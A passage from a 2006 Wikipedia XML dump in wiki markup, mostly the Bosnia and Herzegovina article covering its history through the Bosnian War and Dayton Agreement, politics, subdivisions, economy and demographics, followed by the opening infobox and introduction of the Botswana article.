[[Christianity]] had already arrived in the region by the end of the [[1st century]], and numerous artifacts and objects from the time testify to this. Following events from the years [[337]] and [[395]] when the Empire split, Dalmatia and Pannonia were included in the [[Western Roman Empire]]. The region was conquered by the [[Ostrogoths]] in [[455]], and further exchanged hands between the [[Alans]] and [[Huns]] in the years to follow. By the 6th century, Emperor [[Justinian]] had re-conquered the area for the [[Byzantine Empire]]. The Slavs, a migratory people from northeastern Europe, were subjugated by the [[Eurasian Avars]] in the [[6th century]], and together they invaded the Eastern Roman Empire in the 6th and [[7th centuries]], settling in what is now Bosnia and Herzegovina and the surrounding lands. The Serbs and Croats came in a second wave, invited by Emperor [[Heraclius]] to drive the Avars from Dalmatia.

===Medieval Bosnia===
[[Image:Bosna.jpg|thumb|250px|right|&lt;small&gt;&lt;font color=&quot;#EE7CA3&quot;&gt;Bosnia in 10th century&lt;/font&gt;&lt;br&gt;
&lt;font color=&quot;#EF6E30&quot;&gt;Bosnian state during Ban Kulin 1180-1204&lt;/font&gt;&lt;br&gt;
&lt;font color=&quot;#2859A3&quot;&gt;Bosnian state during king Tvrtko 1353-1391&lt;/font&gt;&lt;br&gt;
&lt;font color=&quot;#FBF066&quot;&gt;Borders of Bosnian state in second part of 15th century&lt;/font&gt;&lt;br&gt;
&lt;font color=&quot;#30925F&quot;&gt;Bosnia and Herzegovina in second part of 19th century&lt;/font&gt;&lt;br&gt;&lt;/small&gt;]]

Modern knowledge of the political situation in the west Balkans during the [[dark ages]] is patchy and confusing. Upon their arrival, the Slavs brought with them a tribal social structure, which probably fell apart and gave way to [[feudalism]] only with [[Franks|Frankish]] penetration into the region in the late [[9th century]] (Bosnia probably originated as one such pre-feudal Slavic entity). It was also around this time that the south Slavs were Christianized. Bosnia, due to its geographic position and terrain, was probably one of the last areas to go through this process, which presumably originated from the urban centers along the [[Dalmatia|Dalmatian]] coast. The kingdoms of [[Serbia]] and [[Croatia]] split control of Bosnia and Herzegovina in the 9th and [[10th century]], but by the [[high middle ages]] political circumstance led to the area being contested between the [[Kingdom of Hungary]] and the Byzantine empire. Following another shift of power between the two in the late [[12th century]], Bosnia found itself outside the control of both and emerged as an independent state under the rule of local [[ban (title)|bans]].

The first notable Bosnian monarch, [[Ban Kulin]], presided over nearly three decades of peace and stability during which he strengthened the country's economy through treaties with [[Dubrovnik]] and [[Venice]]. His rule also marked the start of a controversy with the [[Bosnian Church]], an indigenous Christian sect considered heretical by both the [[Roman Catholic Church|Roman Catholic]] and [[Eastern Orthodox Church|Eastern Orthodox]] churches. In response to Hungarian attempts to use church politics regarding the issue as a way to reclaim sovereignty over Bosnia, Kulin held a council of local church leaders to renounce the heresy in [[1203]]. Despite this, Hungarian ambitions remained unchanged long after Kulin's death in [[1204]], waning only after an unsuccessful invasion in [[1254]].

Bosnian history from then until the early [[14th century]] was marked by the power struggle between the [[Šubić]] and [[House of Kotromanić|Kotromanić]] families. This conflict came to an end in [[1322]], when [[Stephen II Kotromanić]] became ban. By the time of his death in [[1353]], he had succeeded in annexing territories to the north and west, as well as Zahumlje and parts of Dalmatia. He was succeeded by his nephew [[Tvrtko]] who, following a prolonged struggle with nobility and inter-family strife, gained full control of the country in [[1367]]. Under Tvrtko, Bosnia grew in both size and power, finally becoming an independent kingdom in [[1377]]. Following his death in [[1391]] however, Bosnia fell into a long period of decline. The [[Ottoman Empire]] had already started its [[Ottoman wars in Europe|conquest of Europe]] and posed a major threat to the [[Balkans]] throughout the first half of the [[15th century]]. Finally, after decades of political and social instability, Bosnia oficially fell in [[1463]]. Herzegovina would follow in [[1482]], with a Hungarian-backed reinstated &quot;Bosnian Kingdom&quot; being the last to succumb in [[1527]].

===Ottoman era===
[[Image:Ottomanbosnia.PNG|thumb|250px|right|The Ottoman province of Bosnia.]]

The [[Ottomans]] under [[sultan]] Mehmed Fatih conquered the region in [[1463]], although parts of the country held out until late 15th century. The Ottoman rule introduced a number of key changes in political and social administration of the country, namely a new landholding system (see [[timariots|timar]]), a reorganization of administrative units (see [[sancak|sandžak]] and [[vilayet]], and a complex system of social differentiation by [[Social class|class]] (see [[askeri]] and [[reaya]]) and [[religious affiliation]]. Over four centuries of Ottoman rule, the population make-up of Bosnia drastically changed several times as a result of Ottoman conquests, frequent wars with the [[Habsburgs]], migrations, and [[epidemic]]s. Furthermore, a native bosnian speaking [[Bosnian Muslim]] community emerged during the long Ottoman rule mainly as a result of gradually rising number of conversions to [[Islam]], while a significant number of [[Sephardi]] [[Jew]]s settled in Sarajevo after their expulsion from [[Spain]] in late 15th century. The Bosnian Christian communities also experienced major changes. The Bosnian [[Franciscans]] (and the [[Catholic]] population as a whole) were protected by official imperial decree, but on the ground these guarantees were often disregarded; the [[Orthodox]] community in Bosnia initially prospered under Ottoman rule, but was later dominated by the [[Greek Orthodox]] [[patriarchs]]; and the little-known [[Bosnian Church]] disappeared altogether. The agrarian unrest in the province in the 19th century eventually sparked a widespread peasant uprising in [[1875]]; the conflict rapidly spread and involved several [[Balkan]] states and [[Great Powers]], which eventually forced the Ottomans to cede administration of the country to Austria-Hungary in [[1878]], thus ending over four centuries of Ottoman rule over Bosnia.

===Austrio-Hungarian rule===
{{Sectstub}}

From [[1878]] to [[1918]], Bosnia was administered and from the [[1908]] annexation directly ruled by [[Austria-Hungary]].  [[Habsburg]] rule over the region did much to codify laws and introduce new political practices and modernization measures, in the hope of keeping Bosnia a stable and model [[South Slav]] province that would resist the forces of [[nationalism]].  However,  [[World War I]] began with the [[assassination in Sarajevo]] of Archduke [[Archduke Franz Ferdinand of Austria|Franz Ferdinand]], heir to the Austro-Hungarian throne; the assassin was [[Gavrilo Princip]], a member of the &quot;[[Young Bosnia|Mlada Bosna]]&quot; organization.

===The first Yugoslavia===
{{Sectstub}}

Following the war, Bosnia was incorporated into the South Slav kingdom of Serbs, Croats and Slovenes (later renamed the [[kingdom of Yugoslavia]]).  Political life in Bosnia at this time (from [[1918]] to [[1941]]) was marked by two major trends: social and economic unrest over property redistribution, and formation of several political parties that frequently changed coalitions and alliances with parties in other Yugoslav regions.  The redrawing of administrative regions into [[banovina]] units only exacerbated this process, which also encouraged plans for the official partition of Bosnia between Croatia and Serbia in the late 1930s.

===World War II===
{{Sectstub}}

When the [[kingdom of Yugoslavia]] was invaded by Nazi forces in [[World War II]], all of Bosnia was ceded to the [[Independent State of Croatia|the Nazi-puppet state Croatia]].  The Nazi rule over Bosnia led to widespread persecution, murder, and near-total annihilation of the [[Jewish]] population across Bosnia, while the NDH Croatian state also specifically persecuted the Serbian population in the country.  Bosnia thus became the central region in a war that included German, Italian and Croatian armies as well as troops by the royalist Serbian regime and the anti-fascist movement.  On [[25 November]] [[1943]] the [[Anti-Fascist Council of National Liberation of Yugoslavia]] with [[Marshal Tito]] at its helm held a founding conference in [[Jajce]] where Bosnia and Herzegovina was reestablished as a republic within the Yugoslavian federation in its Ottoman borders.  The conference's conclusions were later confirmed by the Yugoslavian constitution. [[25 November]] is considered a day of national statehood in Bosnia today.

===Socialist Yugoslavia===
{{Sectstub}}

From [[1945]] to [[1948]], the [[Yugoslavia|Socialist Federal Republic of Yugoslavia]] was established under the leadership of [[Josip Broz Tito]]. Yugoslavia consisted of the present-day states of Bosnia, Croatia, Macedonia, Serbia and Montenegro, and Slovenia until it broke up in 1990 when the Communist party failed to win the election.

===The Bosnian War and Massacre===
{{Main|Bosnian War}}
The Bosnian-Herzegovinian declaration of sovereignty in October of [[1991]] was followed by a [[referendum]] for independence from Yugoslavia in February [[1992]] boycotted by the Bosnian Serbs.

Bosnian [[Serbs]] responded shortly thereafter with armed attacks on Bosnian-Herzegovinian Croats and Bosniaks aimed at partitioning the republic along ethnic lines and joining Serb-held areas. The [[UNPROFOR]] (UN Protection Force) was deployed in Bosnia and Herzegovina in mid-1992. 1992 and 1993 saw the greatest bloodshed in Europe after 1945. Following the peace agreement proposal by [[Lord Owen]] in 1993, which practically intended to divide the country into three ethnically pure parts, an armed conflict developed between Bosniak and Croat units in a virtual territorial grab.  It was later established that Croat military actions were directly supported by the government of [[Croatia]] which made this also an international conflict [http://www.un.org/icty/rajic/plea.pdf].  At that time about 70% of the country was in Serb control, and the rest was controlled by Bosniaks and Croats. 

In March [[1994]], Bosniaks and Croats reduced the number of warring factions from three to two by signing an agreement creating a joint Bosniak-Croat Federation of Bosnia and Herzegovina. 

Each nation reported many casualties in the three-sided conflict, in which the Bosniaks reported the highest number of deaths and casualties. However, the only case officially ruled by the U.N. Hague tribunal as genocide was the [[Srebrenica massacre]] of 1995. At the end of the war approximately 102,000 people had been killed according to the [[ICTY]] [http://www.freerepublic.com/focus/f-news/1291965/posts] and more than 2 million people fled their homes (including over 1 million to neighboring nations and the west).

On [[November 21]], [[1995]], in [[Dayton, Ohio]], presidents of Bosnia and Herzegovina ([[Alija Izetbegović]]), Croatia ([[Franjo Tuđman]]), and Serbia ([[Slobodan Milošević]]) signed a peace agreement that brought a halt to the three years of war in the Republic of Bosnia and Herzegovina (the final agreement was signed in [[Paris]] on [[14 December]] [[1995]]). The [[Dayton Agreement]] succeeded in ending the bloodshed in Bosnia and Herzegovina, and it institutionalized the division between the Bosnian-Herzegovinian Muslim and Croat entity - [[Federation of Bosnia and Herzegovina]] (51% of the territory), and the Bosnian-Herzegovinian Serb entity - [[Republika Srpska]] (49%). [[Inter-Entity Boundary Line]] delineates the administrative division of the two Entities. 

The enforcement of the implementation of the Dayton Agreement was through a UN mandate using various multinational forces: NATO-led [[IFOR]] (Implementation Force), which transitioned to the [[SFOR]] (Stabilisation Force) the next year, which in turn transitioned to the EU-led [[EUFOR]] at end of 2004. The civil administration of Bosnia and Herzegovina is headed by the High Representative of the international community.

Today the [[Dayton agreement]] is considered by many as one of the most controversial pieces of diplomacy that resulted from the [[Bosnian War]].  According to most experts while on one hand Dayton agreement did successfully end the war on the other it legitimized territorial gains achieved through [[ethnic cleansing]] and [[genocide]], and it created enormous bureaucratic obstacles for Bosnian Herzegovinian tendencies for [[European integration]].  As a result many reforms are taking place in Bosnia and Herzegovina today as part of the revisions to the Dayton agreement such as unifying of army and police forces and the enforcing of state level institutions.  However, the most controversial part and the main clause of the Dayton agreement that stipulated territorial and administrative division of the country still remains in force and unchanged.

== Politics ==
{{Main|Politics of Bosnia and Herzegovina}}
The Chair of the [[Presidency of Bosnia and Herzegovina]] rotates among three members ([[Bosniak]], [[Serb]], [[Croat]]), each elected as the Chair for a 8-month term within their 4-year term as a member. The three members of the [[Presidency of Bosnia and Herzegovina|Presidency]] are elected directly by the people (Federation votes for the Bosniak/Croat, Republika Srpska for the Serb). The Chair of the Council of Ministers is nominated by the Presidency and approved by the House of Representatives. He or she is then responsible for appointing a Foreign Minister, Minister of Foreign Trade, and others as appropriate.

The Parliamentary Assembly is the lawmaking body in Bosnia and Herzegovina. It consists of two houses: the House of Peoples and the House of Representatives. The House of Peoples includes 15 delegates, two-thirds of which come from the Federation (5 Croat and 5 Bosniaks) and one-third from the Republika Srpska (5 Serbs). The House of Representatives is composed of 42 Members, two-thirds elected from the Federation and one-third elected from the Republika Srpska.

The Constitutional Court of Bosnia and Herzegovina is the supreme, final arbiter of legal matters. It is composed of nine members: four members are selected by the House of Representatives of the Federation, two by the Assembly of the Republika Srpska, and three by the President of the [[European Court of Human Rights]] after consultation with the Presidency.

==Subdivisions==
{{Main|Subdivisions of Bosnia and Herzegovina}}
[[Image:Bosniadivisions1.PNG|right|140px|Entities of Bosnia and Herzegovina.]]
[[Image:Bosniadivisions2.PNG|right|140px|Cantons of the Federation of Bosnia and Herzegovina.]]
[[Image:Bosniadivisions3.PNG|right|140px|Municipalities of Bosnia and Herzegovina.]]

Bosnia and Herzegovina has several levels of political structuring under the federal government. Most important of these is the division of the country into entities (Republika Srpska and the Federation of Bosnia and Herzegovina). The Federation of Bosnia and Herzegovina covers some 51% of Bosnia and Herzegovina's total area, while Republika Srpska covers around 49%. The entities were officially established by the Dayton peace agreement in 1995 due to tremendous changes in Bosnia and Herzegovina's ethnic structure. This was caused by the [[ethnic cleansing]] of non-Serb population, the influx of [[Serbs|Bosnian Serb]] [[refugees]] from the Federation of Bosnia and Herzegovina due to [[Bosnian war]] (1992-1995) and [[Serbs of Croatia|Croatian Serb]] refugees from Croatia due to the [[Croatian War#War of Independence| Croatian war]] (1991-1995). Bosnian Serb government resettlement policy also played a part, and some resettlement took place after the war following the [[Dayton Peace Agreement]], subsequent to setting political boundaries ([[IEBL]]).

Since 1996 the power of the entities relative to the federal government has decreased significantly. Nonetheless, entities still have numerous powers to themselves. The [[Brčko District|Brčko federal district]] in the north of the country was created in 2000 out of land from both entities. It officially belongs to both, but is governed by neither, and functions under a decentralized system of local government. With a level of prosperity far above national average and a multiethnic population, the Brčko district is widely considered a model for future restructuring of Bosnia and Herzegovina's political subdivisions.

The third level of Bosnia and Herzegovina's political subdivision, after the entities and federal government, is represented by [[Cantons of the Federation of Bosnia and Herzegovina|cantons]]. The Federation of Bosnia and Herzegovina entity consists of ten of them. All of them have their own cantonal government, which is under the law of the Federation as a whole. Some cantons are ethnically mixed and have special rules implemented to ensure the equality of all constituent peoples.

The fourth level of political division in Bosnia and Herzegovina are the municipalities. The country consists of 137 municipalities, of which 74 are in the Federation of Bosnia and Herzegovina and 63 in Republika Srpska. Municiaplities also have their own local government and are typically based around the most significant city or place in the region. Each canton consists of several municipalities. The municipalities themselves are further divided into local communities (locally: ''Mjesne zajednice/Мјесне заједнице''). Besides entities, cantons, and municipalities, Bosnia and Herzegovina also has four &quot;official&quot; cities. These are: [[Banja Luka]], [[Mostar]], Sarajevo, and [[East Sarajevo]]. The territory and government of the cities of Banja Luka and Mostar corresponds to the municipalities of the same name, while the cities of Sarajevo and East Sarajevo officially consist of several municipalities. Cities have their own city government whose power is in between that of the municipalities and cantons (or entities in Republika Srpska).

{{Political divisions of Bosnia and Herzegovina}}

== Geography ==
[[Image:Bk-map.png|framed|Map of Bosnia and Herzegovina]]
[[Image:Some_red_flower_in_Bosnia.JPG|right|thumb|Red flower from central Bosnia]]
[[Image:Mountins_in_Bosnia.JPG|right|thumb|Mountains in Bosnia, view of mountain Kik (right mountain) which is 1000m and Rance (Suvi Vrh) to the left 1432m]]

{{Main|Geography of Bosnia and Herzegovina}}
Bosnia is located in the western [[Balkans]], bordering [[Croatia]] to the north and south-west, and [[Serbia and Montenegro]] to the east. The country is mostly mountainous, encompassing the central [[Dinaric Alps]]. The northeastern parts reach into the [[Pannonian plain|Pannonian basin]], while in the south it almost borders the [[Adriatic]]. The country has only 23 Km of coastline, around the town of [[Neum]] in the Herzegovina-Neretva Canton, although it's enclosed within Croatian territory and [[territorial waters]].

The country's name comes from the two regions [[Bosnia (region)|Bosnia]] and [[Herzegovina]], which have a very vaguely defined border between them. Bosnia occupies the northern areas which are roughly four fifths of the entire country, while Herzegovina occupies the rest in the south part of the country.

The major cities are the capital [[Sarajevo]], [[Banja Luka]] in the northwest region known as [[Bosanska Krajina]], [[Tuzla]] in the northeast and [[Mostar]], the capital of [[Herzegovina]].
{{See|List of cities in Bosnia and Herzegovina}}

== Economy ==
{{Main|Economy of Bosnia and Herzegovina}}
For the most part, [[agriculture]] has been in private hands, but farms have been small and inefficient, and food has traditionally been a net import for the republic. The centrally planned economy has resulted in some legacies in the economy. Industry is greatly overstaffed, reflecting the rigidity of the planned economy. Under [[Josip Broz Tito]], military industries were pushed in the republic; Bosnia hosted a large share of Yugoslavia's defense plants.
Two major export companies in former Yugoslavia had theirs headquarters in the capital Sarajevo; [[UNIS holding]] and [[Energoinvest]].

During times of the former Yugoslavia, Bosnia and Herzegovina financed many large construction projects in former Yugoslavia and in other former Yugoslav republics.  An example of this was the [[Bratstvo i jedinstvo highway]], which linked [[Ljubljana]] (Slovenia) - [[Zagreb]] (Croatia) - [[Belgrade]] (Serbia) - [[Skoplje]] (Macedonia). Even though Bosnia did not have anything to gain from this investment, as not a single kilometer of the highway went through Bosnia and Herzegovina.  Further projects, such as the construction of the so-called town of [[Novi Beograd|New Belgrade]] (Serbia), Kosovo financing, and railway tracks near Belgrade - Bar in Serbia and Montenegro.  This was due to the fact that the economy of the time was communist; with directives instead of a free economy like that in the West.  In [[1984]], the capital, Sarajevo, was the host of the [[1984 Winter Olympics|XIV Winter Olympic Games]].  A notable fact was that the games were the first 'profitable' games in terms of retrieving investment via profits.

Three years of war destroyed a large part of the economy and infrastructure in Bosnia and Herzegovina, causing unemployment to soar and production to fall.  The war caused a death toll of approximately 102,000 people based on current information from researchers at the [[International Criminal Tribunal for the former Yugoslavia]] (ICTY) at [[The Hague]].  Furthermore, it displaced half of the population.  Other sources place the figure between 150,000 - 278,000. With an uneasy peace in place (under the [[Dayton Accord]]), the economy has started to slowly recover, but the GDP remains below the [[1990]] level. Today Bosnia and Herzegovina has one of the best banking sectors in former Yugoslavia.  The currency ''[[Bosnia and Herzegovina convertible mark|Konvertibilna marka]]'' KM or Bosnian Mark BAM, fixed to the euro (1:0.51) is also very stable.

Yearly inflation is the lowest compared to other countries which were a part of former Yugoslavia.  The inflation rate was 1.9% in 2004{{ref|Inflation}}, and international debt was approx. $2 billion; making it the smallest amount of debt owed from the former Yugoslav countries (Serbia and Montenegro's international debt is $15.2 billion).  Real GDP growth rate is 5.0% for 2004 according to the Bosnian Central Bank of BiH and Statistical Office of Bosnia and Herzegovina.

Top Foreign company investors in Bosnia and Herzegovina (1994-2004){{ref|Investors}}:

[[LNM Holding]] / [[KCIC Holland Antilles]] / [[Kuwait]] / [[Metal processing Hypo Alpe Adria Bank]] / [[Austria]] / [[Banking Unicredito]] / [[Transmadrid Italia]] / [[Spain]] / [[Banking Petrol]] / [[Slovenia]] / [[Trade Coca Cola Beverages Holdings]] / [[Holland]] / [[Food industry Deutsche Telekom]]  / [[Germany]] / [[Telecommunication Heidelberger Zement]] / [[Germany]] / [[Construction materials Dubai I.B., A.I.B. and Islamic Development Bank]] / [[UAE]] and [[Saudi Arabia]] / [[Banking Alpha Baumanergement Gesellschaft]] / [[Austria]] / [[Tourism Bosmal]] / [[Malaysia-Bosnia and Herzegovina]]

==References==
{{note|Inflation}} CIA WFB
{{note|Investors}} B&amp;H Ministry of Foreign Trade and Economic Relations (2005)

== Demographics ==
{{Main|Demographics of Bosnia and Herzegovina}}
[[Image:Ethnic Composition of BiH in 1991.gif|thumb|150px|right|Ethnic composition of Bosnia &amp; Herzegovina in 1991. &lt;br&gt; ('''Click to enlarge image for details''')]]
[[Image:Ethnic Composition of BiH in 2005.GIF|thumb|150px|right|Ethnic composition of Bosnia &amp; Herzegovina in 2005. &lt;br&gt; '''Green:''' Predominantly ethnic Bosniaks &lt;br&gt; '''Red:''' Predominantly ethnic Serbs &lt;br&gt; '''Blue:''' Predominantly ethnic Croats]]

Large population migrations durings the Yugoslav wars in the 1990s have caused a large demographic shift. No census was held since 1991 and is not planned for the near future due to political disagreements. Since censuses are the only statistical, inclusive, and objective way to analyze demographics, almost all of the post-war data is simply an estimate. Most sources, however, estimate the population at roughly 4 million (representing a decrease of 350,000 since 1991).

According to the 1991 census, Bosnia and Herzegovina had a population of 4,354,911. Ethnically, 43.7% were [[Bosniaks]], 31.3% [[Serbs]], and 17.3% [[Croats]], with 5.5% declaring themselves [[Yugoslavs]].

In Bosnia and Herzegovina, there is a strong correlation between ethnic identity and religion because 88% of Croats are [[Roman Catholic]]s, 90% of Bosniaks practice [[Islam]], and 93% of Serbs are [[Orthodox Christian]]s.

According to 2000 data from the [[CIA World Factbook]], Bosnia and Herzegovina is ethnically 48% [[Bosniaks|Bosniak]], 37.1% [[Serb]], 14.3% [[Croat]], 0.6% other.

Tensions between the three constitutional peoples remain high in Bosnia and often provoke political disagreements. Each of the three peoples are influential to roughly a same degree in Bosnia with [[Bosniaks]] being the most numerous, [[Serbs]] having their own entity and [[Croats]] being the wealthiest and economically the strongest.

== Education ==
{{Main|Education of Bosnia and Herzegovina}}
As part of the former [[Socialist Federal Republic of Yugoslavia]], Bosnia enjoyed a highly-developed educational system. This system not only encouraged study and higher education, but it also respected academic achievements. Two of Bosnia’s natives were awarded [[Nobel Prizes]] from this era: [[Vladimir Prelog]], for chemistry in [[1975]], and [[Ivo Andrić]], for literature in [[1961]]. This concentration of talent is remarkable in a country whose total population was severely depleted due to the diaspora of individuals fleeing during the recent war years.  Bosnian college students abroad are good and recognized students; most of them attend universities in [[North America]] and other [[European]] countries.

The recent war created a “brain drain” and resulted in many [[Bosnians]] working in high-tech, academic and professional occupations in [[North America]], [[Europe]], and [[Australia]].  Such situation is viewed as an economic opportunity for building a vibrant economy in today’s Bosnia. However, only few of Bosnia’s diaspora are returning to Bosnia and Herzegovina with their experience, western education and exposure to modern business practices. Most still lack professional incentives to justify widespread and permanent return to their homeland.  

Bosnia’s current educational system—with seven universities, one in every major city, plus satellite campuses—continues to turn out highly-educated graduates in math, science and literature. However, they have not been modernized in last 15 years due to the war and various political and economic reasons and as a result do not meet [[Western]] educational standards which are part of [[criteria]] for [[Enlargement of the European Union#Bosnia and Herzegovina|EU membership]].  The need for reform of the current Bosnian education system is generally acknowledged although specific methods for its change have still not been formulated.

== Culture ==
{{Main|Culture of Bosnia and Herzegovina}}

See also:
*[[Bosnian Cyrillic]]
*[[Comedy in Bosnia and Hercegovina]]
*[[Council of Scout Associations in Bosnia and Herzegovina]]
*[[Holidays of Bosnia and Herzegovina]]
*[[Islam in Bosnia and Herzegovina]]
*[[List of national parks of Bosnia and Herzegovina]]
*[[Music of Bosnia and Herzegovina]]
*[[Nations of Bosnia and Herzegovina]]
*[[Bosnian architecture]]

==Gallery==
&lt;gallery&gt;
Image:Pocitelj.PNG|Počitelj - Old town
Image:Day in Sarajevo.jpg|Sarajevo - Baščaršija
Image:Gradacac.PNG|Gradačac - City castle
Image:Kazandziluk.PNG|Mostar - Kazandžiluk
Image:NeumCoastBH.jpg|Neum - Coastline
Image:StariMost2005.PNG|Mostar - Stari Most
Image:Sarajevopanoramaview.PNG|Sarajevo - View from east.
Image:Fojnica.PNG|Fojnica - The Franciscan monastery
&lt;/gallery&gt;

== External links ==
{{portal}}
{{sisterlinks|Bosnia and Herzegovina}}
*[http://www.bhtourism.ba/eng/ Great site about Bosnia and Herzegovina-Tourism]
*[http://www.bih-x.com/ Bosnia and Herzegovina Tourism]
*[http://www.cia.gov/cia/publications/factbook/geos/bk.html  CIA - The World Factbook -- Bosnia and Herzegovina]
*[http://www.hirhome.com/yugo/ihralija1.htm What really happened in Bosnia?]
*[http://www.haverford.edu/relg/sells/reports.html  Human Rights Archives on the Genocide in Bosnia]
*[http://www.fas.org/irp/congress/1995_hr/genocideinbosnia.html Genocide in Bosnia: US&amp;nbsp;Congress testimonies]
*[http://www.unitedhumanrights.org/bosnia.htm  Bosnia-Herzegovina – 1992–1995 – 200,000&amp;nbsp;Deaths ]
*[http://www.women.it/quarta/workshops/politics6/ikajosevic.htm Rape in Bosnia]
*[http://www.urban-resources.net/gallery/mostar/mostar.html Photographs of Mostar during winter 1994]
* [http://www.balkanforums.com Bosnia-Herzegovina and the Balkans] Discussion Forum
* [http://www.ohr.int/ Office of the High Representative in Bosnia and Herzegovina]
* [http://www.predsjednistvobih.ba/index.aspx?lang=en Presidency of Bosnia and Herzegovina]
* [http://bosnia.europe-countries.com Bosnia &amp; Herzegovina Economy]
* [http://www.europe-atlas.com/bosnia-herzegovina.htm Bosnia and Herzegovina Map]
* [http://www.oscebih.org/ OSCE Mission to Bosnia and Herzegovina]
* [http://www.bosnia.org.uk Bosnian Institute, London]
* [http://www.gimnastika.tuzla.nu Gymnastics club Tuzla, Bosnia and Herzegovina]
* [http://zeal.com/category/preview.jhtml?cid=560058 About 300 categorised and profiled websites about Bosnia &amp; Herzegovina]
* [http://www.iwpr.net/index.pl?archive/bcr3/bcr3_200303_415_3_eng.txt# Bosnia: Sex Slave Recounts Her Ordeal – Institute for War &amp; Peace Reporting]
*[http://www.rulers.org/rulb1.html#bosnia_and_hercegovina Rulers.org — Bosnia and Hercegovina] List of rulers for Bosnia and Hercegovina
* [http://www.balkanbaby.blogspot.com/ Balkan Baby: English Language blog about a students real experiences in the Balkans]
* [http://www.economist.com/surveys/displaystory.cfm?story_id=602361 A precarious peace], [[The Economist]], [[22 January]] [[1998]] 

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&lt;center&gt;[[Countries of the world]] &amp;nbsp;|&amp;nbsp; [[Council of Europe]]&lt;/center&gt;

{{Europe}}
{{Mediterranean}}

[[Category:Bosnia and Herzegovina| ]]

[[ar:البوسنة و الهرسك]]
[[an:Bosnia y Erzegobina]]
[[ast:Bosnia-Herzegovina]]
[[bg:Босна и Херцеговина]]
[[zh-min-nan:Bosna kap Hercegovina]]
[[be:Босьнія і Герцагавіна]]
[[bn:বসনিয়া ও হার্জেগোভিনা]]
[[bs:Bosna i Hercegovina]]
[[ca:Bòsnia i Hercegovina]]
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[[da:Bosnien og Hercegovina]]
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[[et:Bosnia ja Hertsegoviina]]
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[[es:Bosnia-Herzegovina]]
[[eo:Bosnio kaj Hercegovino]]
[[eu:Bosnia-Herzegovina]]
[[fa:بوسنی هرزگووین]]
[[fr:Bosnie-Herzégovine]]
[[fy:Bosnje]]
[[gl:Bosnia - Hercegovina - Босна и Херцеговина]]
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[[hr:Bosna i Hercegovina]]
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[[id:Bosnia-Herzegovina]]
[[is:Bosnía og Hersegóvína]]
[[it:Bosnia e Erzegovina]]
[[he:בוסניה והרצגובינה]]
[[ka:ბოსნია და ჰერცეგოვინა]]
[[ks:बास्निया]]
[[kw:Bosni–Hertsegovina]]
[[ku:Bosna Hersek]]
[[lv:Bosnija un Hercegovina]]
[[lt:Bosnija ir Hercegovina]]
[[li:Bosnië-Hercegovina]]
[[hu:Bosznia és Hercegovina]]
[[mk:Босна и Херцеговина]]
[[ms:Bosnia dan Herzegovina]]
[[na:Bosnia me Herzegowina]]
[[nl:Bosnië en Herzegovina]]
[[nds:Bosnien-Herzegowina]]
[[ja:ボスニア・ヘルツェゴビナ]]
[[no:Bosnia-Hercegovina]]
[[nn:Bosnia-Hercegovina]]
[[oc:Bòsnia e Ercegovina]]
[[pl:Bośnia i Hercegowina]]
[[pt:Bósnia-Herzegovina]]
[[ro:Bosnia şi Herţegovina]]
[[ru:Босния и Герцеговина]]
[[se:Bosnia-Hercegovina]]
[[sa:बास्निया]]
[[sq:Bosnja dhe Hercegovina]]
[[sh:Bosna i Hercegovina]]
[[scn:Bosnia-Erzegovina]]
[[sk:Bosna a Hercegovina]]
[[sl:Bosna in Hercegovina]]
[[sr:Босна и Херцеговина]]
[[fi:Bosnia ja Hertsegovina]]
[[sv:Bosnien och Hercegovina]]
[[tl:Bosnia at Herzegovina]]
[[th:ประเทศบอสเนียและเฮอร์เซโกวีนา]]
[[tr:Bosna ve Hersek]]
[[uk:Боснія і Герцеговина]]
[[zh:波斯尼亚和黑塞哥维那]]
[[fiu-vro:Bosnia ja Hertsegoviina]]</text>
    </revision>
  </page>
  <page>
    <title>Botswana</title>
    <id>3464</id>
    <revision>
      <id>42020908</id>
      <timestamp>2006-03-03T07:02:22Z</timestamp>
      <contributor>
        <username>DDD DDD</username>
        <id>947170</id>
      </contributor>
      <comment>image added</comment>
      <text xml:space="preserve">{{Infobox_Country
|native_name = Lefatshe la Botswana
|common_name = Botswana
|image_flag = Flag of Botswana.svg
|image_coat = Bostwanaarms22.PNG
|image_map = LocationBotswana.png
|national_motto = Pula (Rain)''&lt;/big&gt;
|national_anthem = ''[[Fatshe leno la rona]]'' &lt;br&gt; (Blessed Be This Noble Land)
|official_languages = [[English language|English]] (official), [[Setswana]]
|capital = [[Gaborone]]
|latd=24 |latm=40 |latNS=S |longd=25 |longm=55 |longEW=E
|largest_city = 
|government_type = Parliamentary Republic &lt;!-- cia.gov --&gt;
|leader_titles = [[President of Botswana|President]]
|leader_names = [[Festus Mogae]]
|area_rank = 44th
|area_magnitude = 1 E11 
|area= 600,370
|areami²= 231,804 &lt;!-- Do not remove per [[WP:MOSNUM]] --&gt;
|percent_water = 2.5% 
|population_estimate = 1,573,267 
|population_estimate_rank = 144th
|population_estimate_year = 2003
|population_census = 
|population_census_year = 
|population_density = 2.7
|population_densitymi² = 7.0
|population_density_rank = 189
|GDP_PPP = 16,640 &lt;!-- cia.gov --&gt;
|GDP_PPP_rank = 120th &lt;!-- cia.gov --&gt;
|GDP_PPP_year= 2005 &lt;!-- cia.gov --&gt;
|GDP_PPP_per_capita = 10,169
|GDP_PPP_per_capita_rank = 64th
|sovereignty_type = [[Independence]]
|established_events = From [[United Kingdom|UK]]
|established_dates = [[September 30]], [[1966]]
|HDI = 0.565 
|HDI_rank = 131st
|HDI_year = 2003
|HDI_category = &lt;font color=&quot;#FFCC00&quot;&gt;medium&lt;/font&gt;
|currency = [[Pula (currency)|Pula]]
|currency_code = BWP
|country_code = 
|time_zone = 
|utc_offset = +2
|time_zone_DST = 
|utc_offset_DST = 
|cctld = [[.bw]]
|calling_code = 267
|footnotes = 
}}
The '''Republic of Botswana''' (''Lefatshe la Botswana'') is a [[landlocked]] nation in [[Southern Africa]]. Formerly the [[United Kingdom|British]] [[protectorate]] of [[Bechuanaland Protectorate|Bechuanaland]], Botswana adopted its new name after becoming [[Independence|independent]] within the [[Commonwealth of Nations|Commonwealth]] on [[September 30]], [[1966]]. It is bordered by [[South Africa]] to the south, [[Namibia]] to the west, [[Zambia]] to the north, and [[Zimbabwe]] to the northeast. The economy, closely tied to South Africa's, is predominated by [[mining]], especially [[diamond|diamonds]]; [[cattle]]; and [[tourism]]. The country is named after its largest ethnic group, the [[Tswana]].

==History==
{{main|History of Botswana}}

== Districts ==
[[Image:Botswana.geohive.gif|thumb|220px|right|[[Subnational|Administrative division]].]]
{{main|Districts of Botswana}}
Botswana is divided into 9 districts: 
#[[Central District (Botswana)|Central]]
